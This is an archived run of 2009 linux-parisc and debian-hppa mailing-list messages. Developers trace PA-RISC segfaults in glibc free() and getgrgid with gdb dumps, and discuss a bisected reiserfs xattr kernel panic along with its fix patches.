0x4071e870 <__gconv_lock>:	0x00000000	0x00000000	0x00000000	0x00000000
0x4071e880 <__gconv_lock+16>:	0x00000001	0x00000001	0x00000001	0x00000001
0x4071e890 <__gconv_lock+32>:	0x00000000	0x00000000	0x00000000	0x00000000
0x4071e8a0 <lock.11041>:	0x00000000	0x00000000	0x00000000	0x00000000
0x4071e8b0 <lock.11041+16>:	0x00000001	0x00000001	0x00000001

I sure looks as if memory has been stomped.  Specifically, the word that
caused the segv.  The surrounding values are the same.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Sat, 9 May 2009 17:11:22 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <119aab440905091411gbb3b1bu7f6aa37e6fb35802@mail.gmail.com>
References: <20090507165216.GB30675@bombadil.infradead.org>
	 <20090509171823.DDEEA50D8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1241903500 25524 80.91.229.12 (9 May 2009 21:11:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 May 2009 21:11:40 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 09 23:11:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M2tpP-0004km-Pw
	for glpp-linux-parisc@gmane.org; Sat, 09 May 2009 23:11:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753158AbZEIVLZ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 May 2009 17:11:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753195AbZEIVLZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 9 May 2009 17:11:25 -0400
Original-Received: from mail-ew0-f176.google.com ([209.85.219.176]:36840 "EHLO
	mail-ew0-f176.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753158AbZEIVLY convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 May 2009 17:11:24 -0400
Original-Received: by ewy24 with SMTP id 24so2590709ewy.37
        for <linux-parisc@vger.kernel.org>; Sat, 09 May 2009 14:11:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=qLmJeJ5ja517BZwxYmSxrP70buSr6nROXNz9qAzWGZ8=;
        b=gYlw3tnLOnY+VbiYRGTbEi01PquwHIYjVKFrLt2dFIZ7uqLLNhzoBk3tguJgL7q+VA
         0qYG1kLneQgpVJ+eB9T9prqUyVwOdWPwDUxH+k2VoIATWPMRfKN51QOsKKvv6p4HfnQH
         3Bt3cd9yOiZccG4bFemZqTXuVz2TdWZneUHw0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=rk+Fa8WnbgKNTMtE10Lm3THQmVt6tQBPKuQ+oxiuLVbk7uIHHjsHDDlkJfuwR4gPPg
         rz85F5tq4hnUBF7HNyv4jJPENSn4TryXuETgND7IvKpIaAnpjfWwdJweDY+1tnF0/pvX
         a6D6aZkoKWGc/oM9yEOWYRI6KFOt7FbOV4CA8=
Original-Received: by 10.216.7.212 with SMTP id 62mr2588138wep.92.1241903482850; Sat, 
	09 May 2009 14:11:22 -0700 (PDT)
In-Reply-To: <20090509171823.DDEEA50D8@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 618ebd5eb582ff3a
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1683 gmane.linux.debian.ports.hppa:5705
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1683>

On Sat, May 9, 2009 at 1:18 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> 0x402759ac <_dl_relocate_object+772>: =A0 ldh,s r22(r17),r31
> 0x402759b0 <_dl_relocate_object+776>: =A0 ldw 170(r11),ret1
> 0x402759b4 <_dl_relocate_object+780>: =A0 cmpib,=3D 0,ret0,0x40275a64=
 <_dl_relocate_object+956>
> 0x402759b8 <_dl_relocate_object+784>: =A0 copy r11,r5
> End of assembler dump.
> (gdb) p/x $r11

Shouldn't you be using $r17 here?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Sat, 9 May 2009 17:40:34 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <20090509214045.A7F3F4FB1@hiauly1.hia.nrc.ca>
References: <119aab440905091411gbb3b1bu7f6aa37e6fb35802@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241906244 31456 80.91.229.12 (9 May 2009 21:57:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 May 2009 21:57:24 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sat May 09 23:57:13 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M2uXh-00044x-9M
	for debian-hppa@m.gmane.org; Sat, 09 May 2009 23:57:13 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id E6A8013A4FF6; Sat,  9 May 2009 21:57:12 +0000 (UTC)
Old-Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=4.0 tests=none autolearn=no version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id BC16E13A5307
	for <lists-debian-hppa@liszt.debian.org>; Sat,  9 May 2009 21:41:13 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-2 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2] autolearn=no
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id rIR4u3-EwO9C for <lists-debian-hppa@liszt.debian.org>;
	Sat,  9 May 2009 21:41:09 +0000 (UTC)
X-policyd-weight: using cached result; rate: -6.1
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by liszt.debian.org (Postfix) with ESMTP id 22EE613A52DF
	for <debian-hppa@lists.debian.org>; Sat,  9 May 2009 21:41:05 +0000 (UTC)
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A7F3F4FB1; Sat,  9 May 2009 17:40:44 -0400 (EDT)
In-Reply-To: <119aab440905091411gbb3b1bu7f6aa37e6fb35802@mail.gmail.com> from "Carlos O'Donell" at May 9, 2009 05:11:22 pm
X-Mailer: ELM [version 2.4 PL25]
X-Rc-Spam: 2008-11-04_01
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <86qLOnSgSlE.A.m_E.4wfBKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6705
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat,  9 May 2009 21:57:12 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5706 gmane.linux.ports.parisc:1684
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1684>

> 
> On Sat, May 9, 2009 at 1:18 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> > 0x402759ac <_dl_relocate_object+772>:  ldh,s r22(r17),r31
> > 0x402759b0 <_dl_relocate_object+776>:  ldw 170(r11),ret1
> > 0x402759b4 <_dl_relocate_object+780>:  cmpib,= 0,ret0,0x40275a64 <_dl_relocate_object+956>
> > 0x402759b8 <_dl_relocate_object+784>:  copy r11,r5
> > End of assembler dump.
> > (gdb) p/x $r11
> 
> Shouldn't you be using $r17 here?

Sorry, for the confusion.  I tried to demonstrate how $r17 was loaded
from memory starting from $r11.  You can see the load earlier in the
disassembly.  The values in $r22 and $r17 were consistent with the fault
address.  The value loaded from memory into $r17 was also consistent
with what was recorded in memory in the core dump.  It appeared to me
that only a single word was corrupted.

Unfortunately, gdb dropped core on the core file, so there's nothing
more that can be looked at.  This was caused by a malloc double free
error.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:04:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: segv in free() called from getgrgid()
Date: Sun, 10 May 2009 13:21:51 -0400
Organization: nrc.ca
Lines: 117
Approved: news@gmane.org
Message-ID: <20090510172150.GA11515@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241976185 8476 80.91.229.12 (10 May 2009 17:23:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 10 May 2009 17:23:05 +0000 (UTC)
To: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 10 19:22:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M3CjV-0006Nj-Tq
	for glpp-linux-parisc@gmane.org; Sun, 10 May 2009 19:22:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750825AbZEJRWe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 10 May 2009 13:22:34 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751478AbZEJRWe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 10 May 2009 13:22:34 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1037 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750825AbZEJRWd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 10 May 2009 13:22:33 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A64FC4EDA; Sun, 10 May 2009 13:21:56 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1685 gmane.linux.debian.ports.hppa:5707
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1685>

I had another segv this morning.  This one was on my c3750 running
64-bit 2.6.30-rc4.

Core was generated by `ls --color=auto -l'.
Program terminated with signal 11, Segmentation fault.
[New process 26322]
#0  0x405b7080 in free () from /lib/libc.so.6
(gdb) bt
#0  0x405b7080 in free () from /lib/libc.so.6
#1  0x405db534 in getgrgid () from /lib/libc.so.6
#2  0x0001cb34 in ?? ()
#3  0x00013854 in ?? ()
#4  0x00016e38 in ()
#5  0x000185c0 in main ()
(gdb) disass
Dump of assembler code for function free:
0x405b7024 <free+0>:	stw rp,-14(sp)
0x405b7028 <free+4>:	ldo 80(sp),sp
0x405b702c <free+8>:	addil L%1800,r19,r1
0x405b7030 <free+12>:	ldw 184(r1),ret0
0x405b7034 <free+16>:	stw r3,-6c(sp)
0x405b7038 <free+20>:	copy rp,r25
0x405b703c <free+24>:	stw r5,-74(sp)
0x405b7040 <free+28>:	stw r4,-70(sp)
0x405b7044 <free+32>:	stw r19,-20(sp)
0x405b7048 <free+36>:	ldw 0(ret0),r22
0x405b704c <free+40>:	cmpib,= 0,r22,0x405b7078 <free+84>
0x405b7050 <free+44>:	copy r26,r3
0x405b7054 <free+48>:	depwi 0,31,2,r25
0x405b7058 <free+52>:	b,l 0x405c2a74,r31
0x405b705c <free+56>:	copy r31,rp
0x405b7060 <free+60>:	ldw -94(sp),rp
0x405b7064 <free+64>:	ldw -74(sp),r5
0x405b7068 <free+68>:	ldw -70(sp),r4
0x405b706c <free+72>:	ldw -6c(sp),r3
0x405b7070 <free+76>:	bv r0(rp)
0x405b7074 <free+80>:	ldo -80(sp),sp
0x405b7078 <free+84>:	cmpib,= 0,r26,0x405b7060 <free+60>
0x405b707c <free+88>:	ldo -8(r26),r26
0x405b7080 <free+92>:	ldw 4(r26),r20
(gdb) p/x $r3
$2 = 0x40859008
(gdb) p/x $r26
$3 = 0x40859000

405b5000-405b8000 rwxp 0007a000 08:13 81660                              /lib/libm-2.7.so
40785000-40795000 r-xp 00000000 08:13 81661                              /lib/libpthread-0.10.so
40795000-40797000 rwxp 0000f000 08:13 81661                              /lib/libpthread-0.10.so
40797000-40859000 rwxp 00000000 00:00 0 
40942000-40a81000 r-xp 00000000 08:13 81635                              /lib/libc-2.7.so

Looking at getgrgid, it seems that the only time it calls free is when
the preceeding call to realloc fails.

  while (buffer != NULL
	 && (INTERNAL (REENTRANT_NAME) (ADD_VARIABLES, &resbuf, buffer,
					buffer_size, &result H_ERRNO_VAR)
	     == ERANGE)
#ifdef NEED_H_ERRNO
	 && h_errno_tmp == NETDB_INTERNAL
#endif
	)
    {
      char *new_buf;
      buffer_size *= 2;
      new_buf = (char *) realloc (buffer, buffer_size);
      if (new_buf == NULL)
	{
	  /* We are out of memory.  Free the current buffer so that the
	     process gets a chance for a normal termination.  */
	  free (buffer);
	   __set_errno (ENOMEM);
	}
      buffer = new_buf;
    }

The /proc/maps seems to indicate buffer is close to a region boundary.

0x405db510 <getgrgid+168>:	depw,z r25,30,31,r25
0x405db514 <getgrgid+172>:	ldw 0(r6),r26
0x405db518 <getgrgid+176>:	b,l 0x405c2b70,rp
0x405db51c <getgrgid+180>:	stw r25,0(r5)
0x405db520 <getgrgid+184>:	movb,<> ret0,r24,0x405db4e4 <getgrgid+124>
0x405db524 <getgrgid+188>:	copy r4,r19
0x405db528 <getgrgid+192>:	copy r19,r4
0x405db52c <getgrgid+196>:	b,l 0x405c2914,rp
0x405db530 <getgrgid+200>:	ldw 0(r6),r26
0x405db534 <getgrgid+204>:	stw r0,0(r6)

(gdb) p/x $r6
$4 = 0x406883cc
(gdb) x/x 0x406883cc
0x406883cc <buffer>:	0x40859008
(gdb) p/x $r5
$5 = 0x40689130
(gdb) x/x 0x40689130
0x40689130 <buffer_size.9811>:	0x00000000

  if (buffer == NULL)
    {
      buffer_size = BUFLEN;
      buffer = (char *) malloc (buffer_size);
    }

For some reason, I don't see the address of buffer or buffer_size in
the /proc/maps.  If buffer was corrupt in memory, then buffer_size would
be 0 as above.  I have to think there is a problem with vm regions.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.kernel.kernel-testers,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: 2.6.30-rc5: reiserfs is broken on parisc (bisected)
Date: Tue, 12 May 2009 20:40:20 +0400
Lines: 12
Approved: news@gmane.org
Message-ID: <a4423d670905120940r5de3eab7v7e8e92d89107b962@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1242146438 28774 80.91.229.12 (12 May 2009 16:40:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 12 May 2009 16:40:38 +0000 (UTC)
To: Linux Kernel Mailing List <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Kernel Testers List <kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Jeff Mahoney <jeffm-IBi9RG/b67k@public.gmane.org>,
	Al Viro <v
Original-X-From: kernel-testers-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue May 12 18:40:27 2009
Return-path: <kernel-testers-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkk-kernel-testers-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M3v1m-0000wh-MZ
	for glkk-kernel-testers-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Tue, 12 May 2009 18:40:27 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753626AbZELQkX (ORCPT <rfc822;glkk-kernel-testers@m.gmane.org>);
	Tue, 12 May 2009 12:40:23 -0400
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S1753500AbZELQkX
	(ORCPT <rfc822;kernel-testers-outgoing>);
	Tue, 12 May 2009 12:40:23 -0400
Original-Received: from mail-bw0-f222.google.com ([209.85.218.222]:53462 "EHLO
	mail-bw0-f222.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753335AbZELQkV (ORCPT
	<rfc822;kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Tue, 12 May 2009 12:40:21 -0400
Original-Received: by bwz22 with SMTP id 22so83478bwz.37
        for <multiple recipients>; Tue, 12 May 2009 09:40:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:date:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        bh=UNV5OhG8idiTn44oDyt0RDs7h+9rpEzDVyvQQYZM7vw=;
        b=R+pe9HvmypCByq2F/MtyPFWuYhygqdFUixiNl46x2itbsTgItIYTC5hOa49+lY3q/G
         2Lds/QWC2LNjRGBN/dXw5hs5NhSYVm8Q7zoFIRPmm++YUp3KMYkkOWJgGqFrSbTc24CN
         IrWzB23OQlrFxvjIsNz+I9WoOgblH0l73NYus=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:date:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        b=xOkaJukdnecC7i+w7COEkw3xSfBfmhlMWcmcKrdEISsHaoI17keL8q9F0ZcFO3E52a
         3io3XM8o7aG0vzuIQiAVhmQ2ClJ0a8SgSQpJ0mx1lmye3zpKLI3sduoxfaOnp61+Lwel
         Fy8nvxA8Vv80dyXB9fmlD11+GjGbRwCxpYL1M=
Original-Received: by 10.204.59.65 with SMTP id k1mr8236104bkh.174.1242146420172; Tue, 
	12 May 2009 09:40:20 -0700 (PDT)
Original-Sender: kernel-testers-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <kernel-testers.vger.kernel.org>
X-Mailing-List: kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.kernel-testers:4770 gmane.linux.kernel:835837 gmane.linux.ports.parisc:1686
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1686>

Hi

ab17c4f02156c4f75d7fa43a5aa2a7f942d47201 is the first bad commit
(reiserfs: fixup xattr_root caching)

Kernel panics when init tries to remount rootfs (reiserfs) with
read-write access.
Read-only access works fine.

No more messages on the screen before panic.

Is it endianess related?

From - Thu Nov 08 21:04:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Mahoney <jeffm@suse.com>
Newsgroups: gmane.comp.file-systems.reiserfs.general,gmane.linux.kernel,gmane.linux.kernel.kernel-testers,gmane.linux.ports.parisc
Subject: Re: 2.6.30-rc5: reiserfs is broken on parisc (bisected)
Date: Tue, 12 May 2009 13:20:17 -0400
Organization: SUSE Labs, Novell, Inc
Lines: 49
Approved: news@gmane.org
Message-ID: <4A09AFD1.5090604@suse.com>
References: <a4423d670905120940r5de3eab7v7e8e92d89107b962@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1242148895 4557 80.91.229.12 (12 May 2009 17:21:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 12 May 2009 17:21:35 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Kernel Testers List <kernel-testers@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Al Viro <viro@zeniv.linux.org.uk>,
	reiserfs-devel@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: reiserfs-devel-owner@vger.kernel.org Tue May 12 19:21:24 2009
Return-path: <reiserfs-devel-owner@vger.kernel.org>
Envelope-to: gcfrg-reiserfs-devel@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M3vfP-0003qN-9w
	for gcfrg-reiserfs-devel@gmane.org; Tue, 12 May 2009 19:21:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752962AbZELRVT (ORCPT
	<rfc822;gcfrg-reiserfs-devel@m.gmane.org>);
	Tue, 12 May 2009 13:21:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752932AbZELRVS
	(ORCPT <rfc822;reiserfs-devel-outgoing>);
	Tue, 12 May 2009 13:21:18 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:46744 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752181AbZELRVR (ORCPT <rfc822;reiserfs-devel@vger.kernel.org>);
	Tue, 12 May 2009 13:21:17 -0400
Original-Received: from relay2.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id B18108655F;
	Tue, 12 May 2009 19:21:17 +0200 (CEST)
User-Agent: Thunderbird 2.0.0.19 (X11/20081227)
In-Reply-To: <a4423d670905120940r5de3eab7v7e8e92d89107b962@mail.gmail.com>
X-Enigmail-Version: 0.95.2
Original-Sender: reiserfs-devel-owner@vger.kernel.org
Precedence: bulk
List-ID: <reiserfs-devel.vger.kernel.org>
X-Mailing-List: reiserfs-devel@vger.kernel.org
Xref: news.gmane.org gmane.comp.file-systems.reiserfs.general:22333 gmane.linux.kernel:835862 gmane.linux.kernel.kernel-testers:4772 gmane.linux.ports.parisc:1687
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1687>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Alexander Beregalov wrote:
> Hi
> 
> ab17c4f02156c4f75d7fa43a5aa2a7f942d47201 is the first bad commit
> (reiserfs: fixup xattr_root caching)
> 
> Kernel panics when init tries to remount rootfs (reiserfs) with
> read-write access.
> Read-only access works fine.
> 
> No more messages on the screen before panic.
> 
> Is it endianess related?

No, not at all. There was a problem with the xattr code if the kernel
was built with xattrs disabled. It assumed that
REISERFS_SB(s)->xattr_root would be available, which isn't the case when
xattrs aren't enabled. Part of it has been cleaned up in -git1, and I've
sent Al some additional patches to fix the rest of it up.

There's a thread called "reiserfs xattr fixups" that contains 4 patches.
The patch marked with * is the one I believe will fix your problem.

- - reiserfs: cleanup ifdefs
- - reiserfs: deal with NULL xattr root w/ xattrs disabled *
- - reiserfs: fixup perms when xattrs are disabled
- - reiserfs: allow exposing privroot w/ xattrs enabled

- -Jeff

- --
Jeff Mahoney
SUSE Labs
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.9 (GNU/Linux)
Comment: Using GnuPG with SUSE - http://enigmail.mozdev.org

iEYEARECAAYFAkoJr9EACgkQLPWxlyuTD7JbfACfSV+WiMxReRCr/YRDT8IBf7M8
jVkAn3fhf3R1i5cyi/YJ+vtO/WTd6Lre
=90Xq
-----END PGP SIGNATURE-----
--
To unsubscribe from this list: send the line "unsubscribe reiserfs-devel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Maria Henson" <m.cooper@modern.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Special weekend price
Date: Wed, 13 May 2009 11:52:20 -1200
Lines: 7
Approved: news@gmane.org
Message-ID: <20090513115220.8000301@modern.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1242202398 12317 80.91.229.12 (13 May 2009 08:13:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 May 2009 08:13:18 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 13 10:13:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M49aM-0000Uh-Ty
	for glpp-linux-parisc@gmane.org; Wed, 13 May 2009 10:13:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750890AbZEMINE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 May 2009 04:13:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754425AbZEMINE
	(ORCPT <rfc822;linux-parisc-outgoing>);
